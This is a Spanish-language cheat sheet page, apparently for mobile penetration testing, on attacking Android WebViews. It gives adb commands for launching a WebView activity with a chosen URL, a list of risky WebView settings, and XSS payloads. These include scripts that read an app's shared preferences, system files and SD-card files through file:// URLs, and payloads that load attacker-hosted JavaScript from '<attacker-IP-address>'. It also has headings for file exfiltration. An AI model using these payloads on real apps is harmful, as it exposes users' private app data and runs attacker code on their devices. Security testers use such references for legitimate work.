WebViews
Android Debug Bridge (adb)
adb shell am start -n <app-package-name>/.<webview-activity-name> -a android.intent.action.VIEW --es <parameter> "<string-value>"
adb shell am start -n <app-package-name>/.<webview-activity-name> -a android.intent.action.VIEW --es url "https://example.com/"
Funciones potencialmente explotables
loadUrl()
setJavaScriptEnabled()
addJavascriptInterface()
setAllowContentAccess()
setAllowFileAccess()
setAllowFileAccessFromFileURLs()
setAllowUniversalAccessFromFileURLs()
loadData()
postUrl()
saveState()
Cross-site scripting (XSS)
Payloads
<script>alert(0)</script>
<script>alert('XSS');</script>
<script>alert(location)</script>
<img src=noexiste onerror=alert(0)>
<img src="noexiste" onerror="alert('XSS')">
Lectura de archivos de la aplicación
<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///data/data/<app-package-name>/shared_prefs/<file-name>",false);XHR.send();alert(XHR.responseText);</script>
Lectura de archivos del sistema
<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///system/etc/hosts",false);XHR.send();alert(XHR.responseText);</script>
Lectura de archivos de la aplicación desde SD card
<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///storage/emulated/0/Android/data/<app-package-name>/files/<file-name>",false);XHR.send();alert(XHR.responseText);</script>
Ejecución de payload desde recurso externo
Creación de archivo JavaScript con payload a ejecutar.
alert(0)
Habilitación de servidor HTTP para compartir el archivo xss.js
.
php -S 0.0.0.0:80
Payloads para cargar JavaScript desde recurso externo.
<script src="http://<attacker-IP-address>/xss.js"></script>
<img src="x" onerror="s=document.createElement('script');s.src='http://<attacker-IP-address>/xss.js';document.body.appendChild(s);">
Exfiltración de archivos de la aplicación
Exfiltración de archivos de la aplicación desde SD card
Última actualización
¿Te fue útil?